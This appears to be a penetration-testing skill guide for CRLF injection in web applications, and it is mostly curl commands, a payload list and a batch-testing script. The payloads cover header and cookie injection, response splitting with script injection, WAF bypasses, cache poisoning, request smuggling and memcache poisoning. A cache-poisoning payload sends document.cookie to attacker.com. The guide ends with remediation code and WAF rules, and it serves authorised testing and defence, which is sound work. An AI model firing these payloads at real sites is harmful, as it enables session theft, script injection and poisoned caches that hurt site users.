CRLF Injection Pentesting Skill

This skill guides you through testing for CRLF (Carriage Return Line Feed) injection vulnerabilities in web applications. CRLF injection occurs when user-supplied input containing CR (

%0D

\r

%0A

\n

When to Use This Skill

Use this skill when:

• Testing web applications for HTTP header injection vulnerabilities
• Investigating potential response splitting attacks
• Assessing XSS vectors through header manipulation
• Testing for cache poisoning or request smuggling via CRLF
• Analyzing applications that reflect user input in headers (redirects, custom headers, cookies)
• Bypassing WAFs using Unicode newline variants
• Reviewing code that sets HTTP headers from user input

Understanding CRLF Injection

What is CRLF?

• CR (Carriage Return):

  %0D

  or

  \r

  - moves cursor to beginning of line
• LF (Line Feed):

  %0A

  or

  \n

  - moves cursor to next line
• CRLF:

  %0D%0A

  or

  \r\n

  - standard HTTP line terminator

HTTP uses CRLF to separate headers from the body. When attackers inject CRLF into headers, they can:

1. Terminate the current header early
2. Inject new headers
3. Inject response body content
4. Split responses entirely

Attack Vectors

Set-Cookie

Access-Control-Allow-Origin

Location:

Testing Methodology

Step 1: Identify Reflection Points

Find where user input appears in HTTP responses:

# Check for reflected parameters in headers
curl -v "http://target.com/page?user_input=test" 2>&1 | grep -i "user_input\|test"

# Look for redirect parameters
curl -v "http://target.com/redirect?url=http://example.com" 2>&1 | grep -i "location"

# Check custom headers
curl -v "http://target.com/api?callback=test" 2>&1 | grep -i "x-\|custom"

Common vulnerable parameters:

• redirect

  ,

  return_url

  ,

  next

  ,

  goto

  ,

  url

  ,

  dest

• callback

  ,

  origin

  ,

  referer

• user_agent

  ,

  host

  ,

  x-forwarded-*

• cookie

  ,

  session

  ,

  token

• page

  ,

  action

  ,

  module

  ,

  view

Step 2: Basic CRLF Testing

Test if CRLF characters are reflected:

# Basic CRLF test
curl -v "http://target.com/page?input=test%0D%0AHeader-Test:injected"

# Check response headers for injection
curl -s "http://target.com/page?input=test%0D%0ASet-Cookie:injected=true" | grep -i "injected"

# Test with URL-encoded CRLF
curl -v "http://target.com/page?input=test%250D%250AHeader-Test:injected"

What to look for:

• New headers appearing in response
• Response body starting earlier than expected
• Multiple

  Location:

  headers
• Unexpected cookies being set

Step 3: Response Splitting Tests

Test for HTTP response splitting:

# Inject new header
curl -v "http://target.com/page?input=test%0D%0AX-Injected:malicious"

# Inject cookie
curl -v "http://target.com/page?input=test%0D%0ASet-Cookie:admin=true"

# Full response split with XSS
curl -v "http://target.com/page?input=test%0D%0AContent-Length:0%0D%0A%0D%0A<script>alert(1)</script>"

Step 4: Advanced Payloads

Use the payload generator script for comprehensive testing:

# Generate all CRLF payloads
python scripts/generate_crlf_payloads.py > crlf_payloads.txt

# Test specific payload
curl -v "http://target.com/page?input=$(cat crlf_payloads.txt | head -1)"

Step 5: WAF Bypass Techniques

If basic CRLF is filtered, try Unicode variants:

# Unicode line separators (often not filtered)
curl -v "http://target.com/page?input=test%E2%80%A8Header-Test:injected"  # U+2028 LINE SEPARATOR
curl -v "http://target.com/page?input=test%E2%80%A9Header-Test:injected"  # U+2029 PARAGRAPH SEPARATOR
curl -v "http://target.com/page?input=test%C2%85Header-Test:injected"    # U+0085 NEXT LINE

# Double encoding
curl -v "http://target.com/page?input=test%250D%250AHeader-Test:injected"

# Mixed case
curl -v "http://target.com/page?input=test%0d%0aHeader-Test:injected"

# Alternative encoding
curl -v "http://target.com/page?input=test%E5%98%8A%E5%98%8DHeader-Test:injected"

Step 6: Verify Vulnerability

Confirm the injection worked:

# Check for injected cookie
http --headers "http://target.com/page?input=test%0D%0ASet-Cookie:injected=true" | grep -i "injected"

# Check for new header
http --headers "http://target.com/page?input=test%0D%0AX-Injected:malicious" | grep -i "x-injected"

# Check response body manipulation
http "http://target.com/page?input=test%0D%0AContent-Length:0%0D%0A%0D%0A<Injected>" | grep -i "<Injected>"

Common Attack Scenarios

1. XSS via Response Splitting

# Basic XSS payload
curl -v "http://target.com/page?input=test%0D%0AContent-Length:35%0D%0AX-XSS-Protection:0%0D%0A%0D%0A<script>alert(document.domain)</script>"

# With Content-Encoding bypass
curl -v "http://target.com/page?input=test%0D%0AContent-Encoding:identity%0D%0AContent-Length:30%0D%0A%0D%0A<script>alert(1)</script>"

2. Open Redirect + CRLF

# Inject Location header
curl -v "http://target.com/redirect?url=http://evil.com%0D%0ASet-Cookie:admin=true"

# Chained with path traversal
curl -v "http://target.com/redirect?url=//www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2"

3. Cache Poisoning

# Poison cache with malicious response
curl -v "http://target.com/page?input=test%0D%0ACache-Control:private%0D%0A%0D%0A<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>"

4. Request Smuggling

# Inject second request
curl -v "http://target.com/page?input=test%0D%0AConnection:keep-alive%0D%0A%0D%0AGET /admin HTTP/1.1%0D%0AHost:target.com%0D%0A%0D%0A"

5. Memcache Poisoning

# Inject memcache commands (if backend uses memcache)
curl -v "http://target.com/page?input=test%0D%0Aflush_all%0D%0Aset session:admin 0 0 100%0D%0Aadmin_data"

Payload Reference

Basic CRLF Payloads

%0D%0AHeader-Name:value

%0D%0ASet-Cookie:admin=true

%0D%0A%0D%0A

%0D%0AContent-Length:0%0D%0A%0D%0A<script>alert(1)</script>

%0D%0ALocation:http://evil.com

Unicode Bypass Payloads

%E2%80%A8

%E2%80%A9

%C2%85

%E5%98%8A

%E5%98%8D

Filter Bypass Combinations

# Unicode + CRLF
%E2%80%A8%E2%80%A9Set-Cookie:test

# Double encoding
%250D%250ASet-Cookie:test

# Mixed encoding
%E5%98%8A%E5%98%8DSet-Cookie:test

# With Content-Encoding bypass
%0D%0AContent-Encoding:identity%0D%0AContent-Length:30%0D%0A%0D%0A

Automated Testing

Using curl for batch testing

#!/bin/bash
# Test multiple endpoints for CRLF

ENDPOINTS=(
  "http://target.com/page?input="
  "http://target.com/redirect?url="
  "http://target.com/api?callback="
)

PAYLOADS=(
  "%0D%0ASet-Cookie:injected=true"
  "%0D%0AX-Injected:malicious"
  "%0D%0A%0D%0A<script>alert(1)</script>"
  "%E2%80%A8Set-Cookie:injected=true"
)

for endpoint in "${ENDPOINTS[@]}"; do
  for payload in "${PAYLOADS[@]}"; do
    echo "Testing: $endpoint$payload"
    curl -s -I "$endpoint$payload" | grep -i "injected\|malicious" && echo "[VULNERABLE]"
  done
done

Using the payload generator

# Generate comprehensive payload list
python scripts/generate_crlf_payloads.py --all > payloads.txt

# Test with httpie
while read payload; do
  http --headers "http://target.com/page?input=$payload" | grep -i "injected" && echo "Found: $payload"
done < payloads.txt

Verification Checklist

After detecting potential CRLF injection:

• Confirm new headers appear in response
• Verify cookies can be injected
• Test if response body can be manipulated
• Check if XSS payload executes in browser
• Verify cache poisoning works (test from different IPs)
• Test request smuggling if applicable
• Document all working payloads
• Assess impact (XSS, SSRF, session hijacking, etc.)

Remediation Guidance

For Developers

1. Never reflect user input in headers

   # BAD
   response.headers['X-Custom'] = user_input
   
   # GOOD
   response.headers['X-Custom'] = 'static-value'
   

2. Validate and sanitize input

   # Python example
   import re
   
   def sanitize_header_value(value):
       # Remove CR, LF, and Unicode variants
       return re.sub(r'[\r\n\x00\u2028\u2029\u0085]', '', value)
   

3. Use framework protections

   • Django:

     HttpResponse

     automatically sanitizes headers
   • Express: Use

     helmet

     middleware
   • Spring: Use

     HttpServletResponse

     with validation

4. Implement allowlists

   ALLOWED_REDIRECTS = ['https://trusted.com', 'https://trusted.org']
   
   def safe_redirect(url):
       if url in ALLOWED_REDIRECTS:
           return redirect(url)
       return redirect('/')
   

5. Update dependencies

   • RestSharp: ≥110.2.0 (CVE-2024-45302)
   • Refit: >7.2.101 (CVE-2024-51501)
   • Apache APISIX Dashboard: patched version

For Security Teams

1. WAF Rules

   # Block CRLF in request
   if ($request ~* "%(0d|0a|13|0a)") {
       return 403;
   }
   
   # Block Unicode variants
   if ($request ~* "%(e2%80%a[89]|c2%85)") {
       return 403;
   }
   

2. Monitoring

   • Alert on CRLF patterns in logs
   • Monitor for unusual header patterns
   • Track response splitting attempts

3. Testing

   • Include CRLF tests in CI/CD pipeline
   • Regular penetration testing
   • Bug bounty program with CRLF scope

Tools

References

• Invicti CRLF Guide
• Acunetix CRLF Injection
• PortSwigger Response Queue Poisoning
• Praetorian Unicode Bypass
• CVE-2024-45302 (RestSharp)

Quick Start

# 1. Generate payloads
python scripts/generate_crlf_payloads.py > payloads.txt

# 2. Test target
curl -v "http://target.com/page?input=$(head -1 payloads.txt)"

# 3. Check for injection
curl -s -I "http://target.com/page?input=test%0D%0ASet-Cookie:injected=true" | grep -i injected

# 4. If vulnerable, test impact
curl -v "http://target.com/page?input=test%0D%0AContent-Length:0%0D%0A%0D%0A<script>alert(1)</script>"

Notes

• CRLF injection is most dangerous when combined with other vulnerabilities (XSS, SSRF, cache poisoning)
• Modern frameworks often have built-in protections, but custom code is frequently vulnerable
• Unicode bypasses are increasingly important as WAFs improve
• Always test from multiple angles (URL parameters, headers, cookies, POST data)
• Document findings with proof-of-concept for remediation